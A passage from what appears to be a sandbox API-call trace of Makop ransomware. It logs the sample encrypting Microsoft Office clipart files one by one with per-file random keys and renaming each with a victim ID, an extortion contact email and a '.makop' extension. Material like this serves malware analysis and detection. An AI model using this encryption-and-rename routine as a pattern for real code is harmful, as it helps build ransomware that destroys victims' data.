lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.682] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.682] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.682] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.682] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.683] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.683] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.683] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.683] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xf74, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xf74, lpOverlapped=0x0) returned 1 [0153.683] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf80, dwBufLen=0xf80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf80) returned 1 [0153.683] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.683] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xf80, lpOverlapped=0x0) returned 1 [0153.684] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.684] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.684] SetEndOfFile (hFile=0xf0) returned 1 [0153.691] GetProcessHeap () returned 0x48a0000 [0153.691] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.692] GetProcessHeap () returned 0x48a0000 [0153.692] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.692] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.692] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00246_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00246_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00246_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.700] CloseHandle (hObject=0xf0) returned 1 [0153.700] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cd26000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd26000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x15bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00253_.WMF", cAlternateFileName="")) returned 1 [0153.700] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF") returned 63 [0153.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00253_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.701] GetProcessHeap () returned 0x48a0000 [0153.701] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.701] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.701] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.702] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.708] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.708] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.709] GetProcessHeap () returned 0x48a0000 [0153.709] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.709] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.709] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.709] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.709] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.709] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.709] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.710] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.710] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.710] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.710] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.710] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.710] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x15bc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x15bc, lpOverlapped=0x0) returned 1 [0153.712] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x15c0, dwBufLen=0x15c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x15c0) returned 1 [0153.712] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.712] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x15c0, lpOverlapped=0x0) returned 1 [0153.712] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.713] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.713] SetEndOfFile (hFile=0xf0) returned 1 [0153.720] GetProcessHeap () returned 0x48a0000 [0153.720] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.720] GetProcessHeap () returned 0x48a0000 [0153.721] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.721] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.721] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00253_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00253_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00253_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.722] CloseHandle (hObject=0xf0) returned 1 [0153.722] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64d4200, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64d4200, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00255_.WMF", cAlternateFileName="")) returned 1 [0153.722] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF") returned 63 [0153.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00255_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.723] GetProcessHeap () returned 0x48a0000 [0153.724] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.724] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.724] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.724] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.728] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.728] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.728] GetProcessHeap () returned 0x48a0000 [0153.728] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.729] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.729] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.729] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.729] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.729] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.729] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.729] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.730] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.730] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.730] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.730] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.730] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1da8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1da8, lpOverlapped=0x0) returned 1 [0153.732] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1db0, dwBufLen=0x1db0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1db0) returned 1 [0153.732] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.732] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1db0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1db0, lpOverlapped=0x0) returned 1 [0153.732] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.732] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.732] SetEndOfFile (hFile=0xf0) returned 1 [0153.740] GetProcessHeap () returned 0x48a0000 [0153.740] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.740] GetProcessHeap () returned 0x48a0000 [0153.740] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.740] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.740] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00255_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00255_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00255_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.742] CloseHandle (hObject=0xf0) returned 1 [0153.742] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84184a00, ftCreationTime.dwHighDateTime=0x1bd4af1, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84184a00, ftLastWriteTime.dwHighDateTime=0x1bd4af1, nFileSizeHigh=0x0, nFileSizeLow=0x7dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00330_.WMF", cAlternateFileName="")) returned 1 [0153.742] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF") returned 63 [0153.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00330_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.745] GetProcessHeap () returned 0x48a0000 [0153.745] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.745] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.745] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.745] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.750] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.750] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.750] GetProcessHeap () returned 0x48a0000 [0153.750] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0153.750] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0153.750] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.750] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0153.750] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0153.751] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0153.751] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0153.751] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0153.751] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0153.751] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.752] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.752] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.752] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7dc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7dc, lpOverlapped=0x0) returned 1 [0153.752] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7e0, dwBufLen=0x7e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7e0) returned 1 [0153.752] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.752] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7e0, lpOverlapped=0x0) returned 1 [0153.752] CryptDestroyKey (hKey=0x48c7128) returned 1 [0153.752] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.752] SetEndOfFile (hFile=0xf0) returned 1 [0153.759] GetProcessHeap () returned 0x48a0000 [0153.759] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.759] GetProcessHeap () returned 0x48a0000 [0153.759] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.759] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0153.760] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00330_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00330_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00330_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.761] CloseHandle (hObject=0xf0) returned 1 [0153.761] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf72, dwReserved0=0x0, dwReserved1=0x0, cFileName="TN00411_.WMF", cAlternateFileName="")) returned 1 [0153.762] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF") returned 63 [0153.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00411_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.763] GetProcessHeap () returned 0x48a0000 [0153.763] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0153.763] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0153.763] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0153.763] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0153.767] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0153.767] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0153.767] GetProcessHeap () returned 0x48a0000 [0153.768] RtlAllocateHeap (HeapHandle=0x48a0000, 